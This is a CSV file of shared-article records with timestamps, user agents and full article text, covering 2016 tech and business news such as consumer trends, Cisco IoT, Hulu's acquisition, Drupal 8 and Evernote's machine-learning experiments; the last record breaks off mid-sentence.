1479296468,CONTENT SHARED,-623310439329591027,3609194402293569455,-6670180548215229012,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,http://trendwatching.com/trends/5-trends-for-2017/,trendwatching.com | 5 Trends for 2017 | TrendWatching,"It's that time of year again. Here's the deal. Below, you'll find a collection of innovations which are (re)defining customer expectations. These innovations - and the 5 big consumer trends they represent - show you glimpses of what your customers will want next. Understanding these trends will help you stay ahead of accelerating expectations, and lead you to actionable innovation opportunities. Readers who are serious about understanding the direction of consumerism across multiple dimensions will have already spotted that these trends don't sit in splendid isolation. They are a handful of near-future fragments of the Bigger Picture - more on that below. But each one is also a killer opportunity to take to your team right now . So: read, think, debate. Then get going with building brands that matter, products that delight and campaigns people can't stop talking about! 2017's newest status symbol: digital experiences. In 2017, the Experience Economy will gain a new dimension: that of the VIRTUAL EXPERIENCE ECONOMY. Iconic technologist Kevin Kelly has observed that the maturing of VR, AR and MR* technologies heralds a fundamental shift: from an internet in which information is the basic unit of currency, to one in which experiences are. We won't argue. But we'll add that those digital experiences will quickly come to carry a status-weight equal to 'real' experiences, if not become more sought-after and prized . And yes, we know that's a bold statement given most executives still consider digital experiences as more diverting than truly status-worthy. Why? Well, status has always been by defined by scarcity and abundance. In a consumer world of material abundance, the experiences people chose formed an increasingly important part of their identities. While limited and hard-to-access physical experiences carried even more elevated currency. Next the VIRTUAL EXPERIENCE ECONOMY will shatter much of this logic: in a truly infinite and boundless virtual world the usual physical limitations of cost, accessibility and personal capability no longer apply to experiences, making consumers' time the only scarcity. As a result, the experiences an individual chooses will make an even stronger statement about 'who they are' as an individual than in the physical Experience Economy of the past decades. And that's a status offer few consumers will refuse to embrace. Welcome to the VIRTUAL EXPERIENCE ECONOMY... * Confused? Band announce 2018 'virtual experience' tour date If the Experience Economy can be captured in a single statistic, it's this: from 1981 to 2012, the price of the average concert ticket rose over 400% . Which makes the recent announcement by Abba so intriguing (who, unlike many bands, have famously refused to head back out on tour, playing together once in the last 30 years). October 2016 saw the Swedish band announce that they were entering into a partnership with music mogul Simon Fuller and Universal Music to launch ""a groundbreaking venture that will utilize the very latest in digital and virtual-reality technology...which will enable a new generation of fans to see, hear, and feel Abba in a way previously unimagined"". The event is planned for 2018. Shopping platform launches VR & AR shopping experiences Alibaba's Single's Day (11.11) is the world's biggest online retail event: in 2016, the platform reported facilitating USD17.8 billion of transactions in a single day (by contrast, the entire US retail market's 2015 Black Friday takings were estimated at USD10 billion, online and offline!) 2016's Single's Day saw Alibaba launch Buy+ , a virtual reality shopping experience. The demo video shows how Chinese shoppers could be transported to - and shop in - Macy's in New York. The platform also launched an augmented reality shopping game ' Catch a Cat ' for its Tmall platform, similar to Pokémon Go. Indeed, anyone interested in the VIRTUAL EXPERIENCE ECONOMY should keep watching China, given its position as a VR early adopter. Just one signal: HTC plans to roll out 10,000 VR 'experience centers' throughout China in the near future. Tilt Brush app lets users create animated VR environments The next step beyond providing people with a memorable virtual experience? Let them craft a virtual experience (and share it with others, obviously ;) And while the Minecraft generation has been proudly building virtual worlds for a few years now, expect to see digital creativity take on more conventionally artistic and more immersive forms in 2017. Google launched Tilt Brush , an app for the HTC Vive VR headset in May 2016. The app allows the user to 'paint' in three dimensions, using a simple handheld controller as the 'brush'. Brushes - including ink, snow and smoke effects - and colors are selected from a virtual palette. Users can share their creations as animated GIFs. explains the differences between augmented, virtual and mixed realities! Your response Parent mega-trend: Trump. Brexit. Duterte. Le Pen. The attempted coup in Turkey. 2016 saw the economic, social and cultural impacts of globalization thrown into sharp relief. Again. But this time, the narrative is framed by immigration, job automation, depressed wages, a deeply uneven recovery from the Great Recession, generational and racial divides, terrorism fears, the ongoing refugee crisis. Want us to go on? :( Unpicking the many complex and intertwined currents driving this trend is far beyond this Trend Briefing (although for all our sakes, let's hope it's not beyond humanity - which urgently needs to find a way to come together). However, we can humbly suggest one direction for brands wanting actionable ideas about how to actually respond to this trend in 2017: purposeful brands will find renewed opportunities in helping people understand their changing relationship to home - be that their nation, city or neighborhood. But those opportunities will come in two contrasting flavors: NEW GLOBAL CITIZENS will remain committed to the idea of an open and interconnected world, while NATION NURTURERS will favor a turn inwards, seeking solace in the familiar. Your response Two things for brands seeking to navigate the WORLDS APART landscape to consider: Whichever side of the coin you land on, this trend is about positive action. NEW GLOBAL CITIZENS will embrace brands that help foster understanding. So think about campaigns that build bridges between people and cultures, as Momondo and Tiger did. NATION NURTURERS' 'local first' outlook can be served by products and campaigns that show a real commitment to a particular place - whether that's celebrating the people that make it great (Starbucks) or solving a particular issue (SABMiller). A word of warning: branded displays of faux-patriotism won't fool consumers for long. Yes Budweiser, the beverage formerly known as America, we're looking at you ! Which leads to the second thought. Yes, this isn't an easy trend to tackle by any stretch. It requires deep thinking about who you are as a brand and who your customers are (or want to be). But in a world wracked by fractious and seemingly irreconcilable differences, the optimists among us have to believe that this is one area of thinking - and meaningful action - worth stretching for. After all, how many more signals do you need that 'business as usual' isn't an option? Parent mega-trend: Anonymity makes a comeback. We've long been urging businesses to embrace the realities and possibilities of POST-DEMOGRAPHIC CONSUMERISM . As this mega-trend has developed, two powerful new directions have emerged: brands are increasingly now recognizing non-traditional yet more authentic demographic segments (just last month, 17-year-old makeup artist James Charles became the first male face of Covergirl); at the same time new volumes and sources of data are also taking many businesses closer to the nirvana of catering to a 'segment of one' at a mass scale (think Spotify's Discover Weekly, which sees over 40 million users receive a unique playlist every Monday). While customers will welcome the greater relevance that comes with both these approaches, true flexibility and fluidity means there will still be moments where everyone wants to break out and explore. Without any prejudice, constraints or repercussions. As customers hand over more control to algorithms (or perhaps as they become increasingly aware of just how much their lives are already being shaped by these invisible and unquestionable forces), the urge to step outside one's personal data-straightjacket will only grow. And let's not pretend that new platforms have transported us to a digital utopia. 2016 saw Airbnb publicly struggle with story after story of discriminatory hosts (captured by #airbnbwhileblack ), while October 2016 saw the publication of a study showing that Uber and Lyft drivers were more prone to cancel rides requested by users with black-sounding names. That's why 2017 will see opportunities for brands, products and services that enable INCOGNITO INDIVIDUALS to be free. Your response This too, is an epic trend that we could dive deep into. But at its heart, one fueled by a very simple basic human need: the desire for equal - and fair - treatment. And no matter where you end up taking this trend, every business' discussions about INCOGNITO INDIVIDUALS should start from that premise. You might also be asking why 2017's INCOGNITO INDIVIDUALS will fare differently from anonymous social platforms such as Yik Yak and Whisper? These platforms burned brightly in 2014 and 2015, only to struggle to escape the trolling that has been an unwelcome sidekick to online anonymity. First, improvements in AI mean that a tantalizing future is within reach: anonymity without the assholes! As Candid shows, automated screening means hateful contributions will be able to be eliminated, preventing trolls from ruining it for authentic INCOGNITO INDIVIDUALS. Second, the desire for anonymity will move beyond just freedom on social platforms. As consumers become hyper-aware of how the prices they pay are influenced by their personal data, the demand for tools and services that ensure fair treatment will be greater than ever. One practical, very consumer-centric idea? Just as Antipersona allows people to see Twitter through the eyes of other users, it's not a stretch to imagine a browser plugin that alerts online shoppers if other users (in different locations or on different devices) are seeing lower prices. Retailers, get ready! Parent mega-trend: post-demographic - Time to throw out the old demographic models of consumer behavior.",en
1479302387,CONTENT SHARED,231281690254211527,3609194402293569455,-6670180548215229012,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/11/saiba-como-a-cisco-esta-trabalhando-com-iot-e-suas-iniciativas-para-os-empreendedores-desse-mercado/,Saiba como a Cisco está trabalhando com IoT e suas iniciativas para os empreendedores desse mercado - Startupi,"A América Latina enfrenta importantes desafios em termos de desenvolvimento e competitividade, mas ao mesmo tempo tem a grande oportunidade de repensar o futuro e avançar em ritmo mais rápido. A próxima fase da Internet, a Internet de Todas as Coisas (do inglês Internet of Everything - IoE) - uma espécie de ""sistema nervoso"" global de redes que conectam pessoas, processos, dados e coisas - oferece possibilidades de transformação para a região, com importantes consequências em termos de desenvolvimento, emprego e competitividade. Durante o Cisco Live, evento que aconteceu na última semana em Cancun para discutir as inovações da Cisco em diversos mercados, Ned Cabot, Diretor de Digitalização para as Américas, mencionou que em 2014, 24% das coisas eram conectadas e em 2019, esse número será de 43%. Jordi Botifoll, VP da Cisco e Presidente para América Latina, escreveu um artigo dizendo que existe um potencial incrível para conectar o que hoje está desconectado. A Cisco estima que US$19 trilhões podem ser gerados nas próximas décadas, impulsionados pela conexão de pessoas com pessoas, pessoas com máquinas, máquinas com máquinas, tudo por meio da Internet de Todas as Coisas. Para entender a visão da Cisco para IoT, conversamos com Severiano Macedo, Especialista em soluções IoT da Cisco Brasil. Ele contou que estão trabalhando um novo modelo chamado digital trasformation, e que não olham mais portfólio, mas sim para o processo de transformação das empresas, preparando-as para esse novo desafio, em que a todo momento nascem novas empresas ameaçando não só as grandes empresa, mas sim a cadeia de valor como um todo. Ele cita como exemplo o Napster, que destruiu a indústria da música, e abriu as portas para o Itunes e Spotify. ""O fato é que o mercado de música foi totalmente modificado, não existe mais a venda de CDs. Estamos vivenciando um momento crítico onde as empresas não competem mais entre elas, mas sim com novos negócios que revolucionam todo o mercado"", destaca Severiano. Já sabemos que Big Data, Machine Learning e IoT são as grandes apostas do futuro e segundo o executivo, estamos vendo agora a aplicação dessas tecnologias para os novos negócios, com a redução dos custos e melhoria da eficiência operacional entrando em governos, empresas e escolas. Ele comenta que no Brasil veremos uma aceleração muito grande na área de iluminação pública, e na medição de energia elétrica, que não será mais medida pelos leituristas que passam pelas casas mensalmente, mas sim por aplicativos online. Outro mercado que está passando por uma transformação é o automotivo, hoje as pessoas não compram mais um carro pelo motor, mas sim pela mídia que vem junto com o carro. No vídeo abaixo, Ned Cabot, fala sobre como os carros autônomos irão impactar o mercado. Para a Cisco, existem seis pontos muito importantes que fazem os pilares de IoT e o primeiro deles é a conectividade, mas Severiano destaca que se você tiver só conectividade , você tem Machine to Machine e não IoT. Na visão da Cisco também é muito importante ter um analytics, pois são tantas coisas que vamos conectar que você não pode simplesmente pegar essas informações e transferir para o Data Center. ""Estamos falando de 50 bilhões de objetos conectados em um universo onde existem 7 bilhões de pessoas"". As pessoas tem capacidade de gerar reports, mas precisam dormir, comer, descansar e cuidar da casa, já as coisas não, um sensor mede a temperatura 24/7 bem como uma câmera e um medidor. Então as coisas não são só maior quantidade do que pessoas, mas possuem também uma capacidade muito maior de compartilhar dados. Portanto, Severiano afirma que você precisa ter garantia de data analytics e fog computing , neblina, que vem de cloud, que é a capacidade de pegar e analisar as informações e transmitir apenas eventos, pois se não tiver nada acontecendo, não existe a necessidade de transmitir dados, entretanto você não faz isso em Datacenters, você faz em switcher e access points distribuídos pela cidade. Para isso, você precisa de uma plataforma, por isso o quarto pilar de IoT é application enablement , um sistema aberto com iOX, o iOS da Cisco, onde qualquer empresa parceira da Cisco pode desenvolver uma aplicação. Outro pilar importante é o gestor de aplicação, vocês devem concordar que dá trabalho manter todos os seus apps atualizados no seu smartphone, agora imagina, por exemplo, se você tem cinco mil ônibus rodando, 2 roteadores em cada um deles e você precisa atualizar esses apps dentro dos ônibus, o que você faz? Não é possível trazer todos eles para a garagem, você não irá gerenciar 1 a 1, e para isso, você tem uma plataforma que gerencia essas aplicações. Outro pilar, e segundo Severiano, o mais importante é a segurança . Ele comenta que essa parte está sendo muito negligenciada pelo mercado, pois hoje qualquer um pode desenvolver sensores e chips e quando isso é plugado em uma rede, você está abrindo uma porta para o seu sistema. Quem se lembra do recentemente ataque nos EUA em que usaram DDoS para derrubar a internet dos Estados? E nem precisamos ir tão longe, os Jogos Olímpicos do Rio de Janeiro terminaram sem nenhum grande incidente cibernético, mas não por inércia dos hackers. De acordo com a Cisco, responsável pelos equipamentos de rede e serviços corporativos da competição, foram registrados 4,2 milhões de eventos de segurança, sendo que 731.607 tentativas de ataques de negação de serviço foram bloqueadas. Na proteção de todos os sites públicos oficiais e aplicativos móveis da Olimpíada, a Cisco e seus parceiros de segurança detectaram 40 milhões de eventos de segurança, bloquearam 23 milhões de tentativas de ataque e mitigaram 223 ataques distribuídos de negação de serviço, além da detecção e bloqueio de milhares de malwares, ações de phishing e domínios falsos. ""Um risco muito grande para as organizações é não tomar cuidado com a questão de segurança em IoT, afinal, estamos falando de 50 bilhões de dispositivos conectados, e cada um desse dispositivo pode ser um soldado de um exército para fazer um ataque e não adianta você ter firewall, pois muitas vezes isso está dentro da sua rede"", argumenta Severiano. Para ele, o Brasil está um pouco atrasado no quesito segurança comparado com outros mercados. Ele conta que a Cisco está discutindo bastante com a ANEEL, Agência Nacional de Energia Elétrica através da UTC - Utilities Technology Council e que juntos fizeram recentemente um workshop para discutir a questão da segurança, principalmente no setor elétrico. ""Somos atacados o tempo todo, mas muitas vezes não percebemos, por exemplo, se você colocar um sistema de segurança no seu roteador residencial, você verá que o tempo todo existem entidades atacando, muitas vezes são ataques cuja consequência é semi inofensiva, mas ela existe"". Ele também destaca que hoje o que tem de mais perigoso são as tentativas de fishing, onde te mandam um email com um arquivo e você acaba clicando Para isso, ele afirma que a questão cultural é muito importante. ""Não adianta ter um sistema de segurança avançado do nível dos bancos e do setor industrial se as pessoas vão lá e anotam uma senha num post it e deixam do lado do computador. Não precisamos só de uma mudança na regulamentação, mas sim uma mudança cultural"". Desafios para desenvolver IoT Hoje temos a possibilidade de pegar um processo, conectar com sua cadeia de fornecedores, logística e varejo de forma com que, por exemplo, você passe a ter todas as informações das gôndolas do mercado para saber a taxa de venda ou saída do seu produto. ""IoT não é ter informação fechada, é disponibilizar informações na internet integrando toda sua cadeia de valor"". Severiano destaca um ponto interessante, segundo ele, temos muitas tecnologias disponíveis, porém existe uma ameaça muito maior para as empresas com a falta de mão de obra para suportar tecnologias legadas do que para as novas tecnologias. ""Hoje qualquer adolescente é capaz de programar e desenvolver um app para celular, qualquer engenheiro formado entende de rede, mas se você precisar de um engenheiro com conhecimentos de tecnologias legadas, como por exemplo, redes SDH , STM-1 isso não existe mais, os alunos não aprendem mais isso na faculdade. Existem diversos processos de empresas que estão rodando em Windows Xp, e não vou trocar"". Severiano conta que durante sua época de faculdade, há 20 anos, o sonho do engenheiro era trabalhar em uma grande empresa como Petrobras, Votorantim ou Furnas, já hoje, se você perguntar aos universitários onde eles querem trabalhar, a grande maioria responderá que deseja abrir seu próprio negócio ou trabalhar em empresas como o Facebook. Fica o questionamento, será que as empresas tradicionais vão conseguir atrair mão de obra? Terão ambiente de colaboração? Próximos passos Estamos falando de uma nova era tecnológica, depois da energia a vapor, produção de massa, processo de automação de processos, estamos falando de integração de cadeia de valor. Severiano destaca que tem visto empresas que estão aceleradas, e que veremos um processos de consolidação grande no mercado onde empresas irão adquirir seus concorrentes. ""Pesquisas afirmam que, daqui há cinco anos, quatro em dez empresas já não vão existir e isso não é difícil de acontecer. Se pegarmos o setor de telecomunicações, por exemplo, podemos notar quantos players existiam há 10 anos, e quantas empresas gigantescas fecharam suas portas"". A velocidade com que isso está acontecendo também está muito mais rápida e o custo para fazer inovação diminuiu bastante, hoje, um aluno, jovem pode desenvolver apps de dentro do seu quarto, e muitas vezes, esses apps quando lançados no mercado são capazes de fazer disrupção em cadeia de valor. ""Fazer inovação hoje em dia está muito barato e rápido, hoje não dá mais para as empresas esperarem. Se você não aproveitar das oportunidades para otimizar o seu negócio, você certamente será engolido pelos seus concorrentes ou pelas startups"". Severiano aconselha a leitura do livro Digital Vortex, que conta com um estudo feito pela Cisco que destaca quais as empresas estão mais ameaçadas. Ele fala que os setores que estão muito envolvidos com a questão de IoT são: manufatura, energia, automobilístico, transporte e smart cities, que estão tentando resolver problemas que são básicos. Outra questão de ameaça no mercado é a questão spectrum, pois todas essas tecnologias de IoT envolvem de alguma forma algum tipo de comunicação, muitas vezes wireless, e infelizmente, a maioria dos desenvolvedores das startups e das empresas acreditam que spectrum é uma coisa infinita e que não devem se preocupar, mas no entanto, spectrum é uma das coisas mais valiosas que nós temos, por isso que as operadoras de telecomunicações pagam bilhões para poder adquirir uma banda de 10 Megahertz de spectrum. ""Se você abrir seu note, verá mais de 20 redes, vamos começar a ter dispositivos de IoT disputando pelo mesmo spectrum, da mesma forma como esgotamos os endereços IPs, isso é um grande desafio. Precisamos controlar o spectrum, entender quais são as redes, quais são suas necessidades e fazer uma engenharia para se ter uma rede física única, mas virtualmente independente"". Segundo Severiano, não podemos falar de IoT com endereçamento IPv, pois sabemos desde início que não é suficiente, precisamos falar de IPV6 desde o início, o que é outra barreiras que precisamos analisar para poder acelerar o processo por aqui. Como a Cisco ajuda os empreendedores que estão desenvolvendo IoT? ""Ninguém faz IoT sozinho"", enfatizou Severiano. Para isso, a Cisco conta com a plataforma DevNet , um programa para desenvolvedores, com acesso a um mundo de informações para o desenvolvimento de APIs. A empresa também conta com um centro de inovação no Brasil, o COE, voltado especificamente para auxiliar a população, o espaço conta com engenheiros, equipes especializadas, acesso a muita informação e um Data Center próprio com todas as tecnologias Cisco. ""Os os empreendedores podem ter acesso ao espaço junto com algum cliente e de repente, trazer um problema para juntos desenvolvermos uma solução"". A empresa também faz periodicamente parcerias formais com hubs de inovação e organizações que fomentam o ecossistema, como o Cubo , por exemplo, que completou recentemente um ano e conta com a Cisco como parceira oficial desde sua abertura. ""Estamos dentro do Cubo oferecendo tecnologia, conhecimento, participando de eventos sempre no sentido de desenvolver um ecossistema para justamente oferecer ao parceiro a capacidade de estar ali, no time to marketing"". A Cisco, multinacional norte-americana, é uma das maiores empresas de tecnologia do mundo e, como tal, tem voltado seus esforços há vários anos para o foco na inovação, empreendedorismo e, mais importante, o fomento deste ecossistema. Também conversamos com Nina Lualdi, Diretora Sênior de Inovação para América Latina da Cisco, que explicou todas as iniciativas da companhia para ajudar os empreendedores. Para ler a matéria completa clique aqui . Jornalista pela Anhembi Morumbi, especialista em mídias digitais, com atuação na Rádio Metropolitana e Portal R7. Quer ter seu texto publicado no STARTUPI? Envie um e-mail para contato@startupi.com.br.",pt
1479305862,CONTENT SHARED,-7905002887579197656,6960073744377754728,-5872359120726976991,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",GA,US,HTML,http://www.adweek.com/blognetwork/hulu-acquires-recommendation-startup-video-genome-project/33359,Hulu Acquires Recommendation Startup Video Genome Project,"Hulu is super-charging its TV and movie recommendations. The streamer announced Tuesday it has acquired data startup the Video Genome Project to create a more powerful tool to surface the right content to the right user. (THR) Hulu plans to feed the information into its recommendation engine. VGP uses what it calls ""genes"" that it assigns to TV shows based on a wide range of elements from the metadata. The integration should be complete by the end of March. (Deadline) Terms of the deal were not disclosed. Hulu's acquisition of VGP comes ahead of the company's planned launch of a live internet-delivered TV service in early 2017, expanding beyond its subscription VOD services. Hulu said a small number of VGP employees will be joining the company. (Variety)",en
1479314298,CONTENT SHARED,-7130425546996181071,3891637997717104548,-1026478766404295523,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://drupalize.me/blog/201611/drupal-8-1-year-old,Drupal 8 is 1 Year Old (AND YOU GET A PRIZE!),"It's hard to believe, but it has been 1 year since Drupal 8.0 was released to the world. We're celebrating Drupal 8's first birthday on November 19th by giving FREE access to our full Drupal 8 Migration Guide over the celebration weekend! This Saturday, November 19th through Monday, November 21st you can learn how to use the new core migration system to upgrade your Drupal site or import content from external sources. It's time to get using Drupal 8! A lot has changed in Drupal 8 and we've been working hard to bring you the most accurate and up-to-date tutorials. We have extensive guides for Drupal 8 Theming and Upgrading Drupal with Migrate (as we noted above). You can also find a lot of really great goodies through our partners at KnpUniversity, who have provided Drupal 8 Module Development Essentials and covered the new PHP and Symfony concepts in Drupal 8. You can see our full guide for Preparing for Drupal 8 to dig into more background concepts relevant to Drupal 8. We also have a regular review process to make sure we keep current with the 6-month core feature release cycle . Every few months we review our tutorials for accuracy, check what is changing in Drupal core, and make sure you have the latest and greatest information. You can see our entire to-do list on our Drupal 8 page , and review our topic-publishing roadmap each quarter through our blog . Join us in celebrating a year of Drupal 8. Check out the Drupal 8 Migration Guide for FREE, only this weekend!",en
1479321182,CONTENT SHARED,-5895530418852362770,3609194402293569455,-6670180548215229012,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://www.coursera.org/learn/corporate-entrepreneurs-opportunity,"Developing the Opportunity for Corporate Entrepreneurs - University of Maryland, College Park | Coursera","About this course: For an increasing number of established companies, creating new businesses and programs within the company is an imperative for success. Maturing technologies and aging product portfolios are requiring established companies to create, develop, and sustain innovative new initiatives. In this course, learners will develop knowledge on how to navigate the barriers to creating, developing, and sustain innovative new businesses and programs within established companies or organizations with an emphasis on: * Introducing the skills for identifying and analyzing entrepreneurial ideas within a corporate environment; * Examining entrepreneurial thinking within yourself and your colleagues with an awareness of entrepreneurial mindset, entrepreneurial motivations, and entrepreneurial behaviors; * Cultivating seeing entrepreneurially within yourself and your colleagues with attention to industry conditions, industry status, macroeconomic change, and competition; and * Championing acting entrepreneurially within the corporate environment with an understanding of value innovation and opportunity identification. Try this course for FREE at",en
1479321555,CONTENT SHARED,7529823674661315431,3609194402293569455,-6670180548215229012,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://googlediscovery.com/2016/11/16/google-lanca-experimentos-com-inteligencia-artificial/,Google lança experimentos com inteligência artificial | Google Discovery,"O Google anunciou o lançamento de uma nova página que permite explorar e interagir com experimentos que tiram proveito da tecnologia de inteligência artificial. ""Com todas essas coisas de inteligência artificial acontecendo, há muitas pessoas ansiosas para começar a mexer com a tecnologia de aprendizado de máquina"", publicou o buscador. "" AI Experiments é uma vitrine para experimentos simples que permitem que qualquer um possa brincar com essa tecnologia, por meio de fotos, desenhos, línguas, músicas e muito mais"". Entre os atuais experimentos do AI Experiments estão: é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1479329232,CONTENT SHARED,-2871347907044769386,-1443636648652872475,391042852503820428,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://blog.evernote.com/tech/2016/11/15/unstructured-data-google-nlp/,Making Sense of Unstructured Data with Google Cloud NL API,"Evernote started with the aspiration of building a second brain for our users. The first step on this journey was enabling them to ""remember everything"" by capturing and accessing their ideas, thoughts, and memories at any time, anywhere. We're now embarking on the next step of that journey by using Machine Learning (ML) to not only help people archive their thoughts but also to process and take action on them-to think. ML offers a way to automatically recognize a user's intent, retrieve the data that matters in the moment, and surface it to that user in a useful context. Using this technology, we foresee a time when the Evernote app can make recommendations, improve organization, and ultimately optimize productivity. Google Cloud Natural Language API Since Evernote recently chose Google Cloud Platform as its cloud services provider, we've been exploring advanced functionalities such as Google Cloud Natural Language API . In our early testing, we've found that Cloud Natural Language API can significantly reduce complexity in our ML pipeline environment by providing syntactical meaning across various languages, and mapping context and meaning to entities when appropriate. Doing this on our own environment would be a huge effort, not only in terms of handling our data rate, but also in time spent verifying the accuracy of the syntax and entity extraction portions of a Natural Language Processing (NLP) system, along with constantly updating the language packs. But even with a limited training dataset of anonymized data, we have been able to leverage Cloud Natural Language API in coordination with our document classifier and entity extractor to build and train some interesting use cases that have the potential to improve Evernote and enhance the productivity of our users in the near future. To prove that we could help our users bring the ideas they store in Evernote to life, we've experimented with a pair of simple examples we know to be prevalent in Evernote: managing travel itineraries and identifying action items in meeting notes. Using anonymized data, read only by machines, we set out to see if we could both find structure in unstructured syntax and extract semantic intent. Example 1: Extracting data from airline tickets In this example, the key question was how to train an effective model with small amount of data (e.g. 20 flight tickets we had on hand), where the model will be able to capture unseen flight tickets from different flight companies, and be able to cope with novel wording and structures. First, we needed a way to classify whether or not the note contains flight information. Classification is important because running extraction over all notes would be costly. And while it might be possible for us to collect hundreds of flight ticket examples for training a classification model, this approach won't scale well. This is because we plan to explore many other categories in the coming months, and it will be expensive to manually collect data in each category. The following flowchart shows the steps we took to tackle this project: We started by making use of unlabeled data: 13 million anonymized note titles. We first sent these note titles to Cloud Natural Language API for entity analysis , where entities like airline names (in the example shown above, ""United Airlines"") can be identified. Then, we built a word2vec model out of the parsed note titles, and constructed a doc2vec model from the small collection of flight tickets we have. The doc2vec model approach makes use of the word2vec ability to conduct linear operations over word vectors. This doc2vec model can be used to represent the flight tickets category, and capture other types of flight tickets which are not present in our limited examples, such as tickets from unseen airlines, or with novel wording and structures. For example, in our word2vec model, the top words/phrases that are similar to ""United Airlines"" were ""Spirit Airlines,"" ""Virgin America,"" ""Delta Air Lines,"" ""British Airways,"" etc. Therefore, even though there are no tickets from British Airways in our sample set of flight tickets, the model we built will be able to identify these potential tickets. One question that came up was whether it would be effective to build the word2vec model out of public datasets such as Wikipedia, in order to capture the similarity between American Airlines and British Airways. The problem is that when we apply similar techniques to other categories-such recipes and grocery lists-misspellings and special terms will be prevalent. In these cases, the word2vec model built from anonymous note data will be able to offer more accurate information, which won't be captured by public datasets. Example 2: Finding actions in unstructured content Up until now, we've discussed how to extract structured content out of unstructured data. In addition to that, we wanted to investigate whether we could extract semantic actions out of unstructured content, such as tasks hidden within freeform text. If successful, such a process could be used to make suggestions that tasks should be added to a to-do list, assigned an owner, and/or given a due date. To help us identify tasks, we used the Syntactic Analysis capability of Cloud Natural Language API. By analyzing both the parts-of-speech of the words in a sentence and the dependency tree structure (or dependency grammar) of the sentence, we were able to identify whether or not a sentence contains a task. We have made use of the parsing information provided by Cloud Natural Language API in a variety of ways to help achieve this. In the most trivial form of this example, we attempted to extract tasks by identifying verbs acting as imperatives in the present tense. For example in the sentence above, the system can correctly identify that this is a task that needs to be acted upon, as it recognizes ""pick"" as the imperative verb and then as one that hasn't already occurred. In addition, the system can correctly identify a task even if an imperative verb can also be used as a noun. For example, in the phrase ""Address this task tonight"", Cloud Natural Language API can correctly identify the verb as ""address,"" thus allowing us to easily identify that as an action item. Furthermore, since the library assists us in identifying nouns from verbs, it can correctly recognize that there are no actions in the phrase ""The address of the White House is 1600 Pennsylvania Ave."" Also, the system has been trained to not only identify imperatives without a subject, but to also extract subjects who are being asked to execute a task in the future. For example, in the sentence ""Philip will mow the lawn,"" we can now not only understand that the task of ""mow[ing] the lawn"" should be tracked, but also that it should be assigned to Philip. This is possible because we've trained the system to analyze the child nodes of the root verb in the sentence dependency tree, and detect children who are auxiliaries like ""will,"" ""shall,"" and so forth. On the other hand, if the child nodes of the root verb are passive nominal subject or passive auxiliary , the system doesn't pick those up as action-inducing items. We still have a lot of work to do. We're working on a system now to identify when a task will be due. Also, if the subject was not mentioned in the sentence, but was referred to in the context of the action we want to correctly identify the subject in those cases. Moreover, we still need to improve the accuracy of the model. As such, we are thinking about a UI that would allow our users to provide the system with feedback on tasks that shouldn't have been caught, or were missed. Lastly, we're investigating options on how to bring such a feature to other languages besides English. We at Evernote have been having a great time using and learning about Google Cloud Natural Language API. We have been testing the extraction system on our own company's meeting notes to see how well it would do and have been pleasantly surprised at the accuracy and the consistency with which we can identify tasks. Similarly, we tried it on our own notes containing flight tickets and found it very accurate and useful. As such, we believe that our users will also enjoy these features. We see potential applications for the same system in other types of notes, such as hotel bookings, recipes, and grocery lists. The extracted information will also enable us to do real-time context driven information re-surfacing and knowledge engine based semantic search. We look forward to continued progress in using these technologies to improve the Evernote experience for all our users in the near future.",en
1479392387,CONTENT SHARED,6999813113145211708,-5527145562136413747,5295884460058595332,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",RJ,BR,HTML,http://www.paulgraham.com/talk.html,Write Like You Talk,October 2015 Here's a simple trick for getting more people to read what you write: write in spoken language. Something comes over most people when they start writing. They write in a different language than they'd use if they were talking to a friend. The sentence structure and even the words are different.,en
1479408501,CONTENT SHARED,1328618437884612347,3891637997717104548,6830299218105099811,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://cloudplatform.googleblog.com/2016/11/Cloud-Machine-Learning-family-grows-with-new-API-editions-and-pricing.html,"Google Cloud Machine Learning family grows with new API, editions and pricing","Google Cloud Machine Learning is one of our fastest growing products areas. Since we first announced our machine learning offerings earlier this year, we've released a steady stream of new APIs, tools and services to help you harness the power of machine learning. We've seen machine learning transform users' experiences , accelerate business operations by solving problems that have existed for decades and delight us with novel applications . The key to creating a culture of innovation is having the right team, technology and strategy in place. To further these efforts, we're excited to announce the creation of a new Google Cloud Machine Learning group that will be focused exclusively on delivering cloud-based machine learning solutions to all businesses. Fei-Fei Li and Jia Li , two world-renowned researchers in the subject of machine intelligence, will lead this new group. Building a centralized team within Google Cloud will accelerate our ability to deliver machine learning products and services to enterprise customers in every industry. Today also marks an exciting next step in Google Cloud's product commitment to make machine learning more accessible for all businesses. We're excited to introduce: A brand new Cloud Machine Learning API to help people find careers New hardware options to accelerate your machine learning workloads Improved efficiencies and expanded features for our Cloud Translation, Cloud Vision and Cloud Natural Language APIs Introducing Google Cloud Jobs API Machine learning presents new opportunities to solve some pretty difficult business problems. Since so much of what every business achieves depends on great employees, how can we help there? What if we could use machine learning to change the nature of finding jobs and hiring people? We think we can. Hiring is one of the hardest things organizations do. Part of the difficulty comes from a lack of industry standards to define and describe occupations and how they align to specific skills. Over the past year, Google has developed a new machine-learning 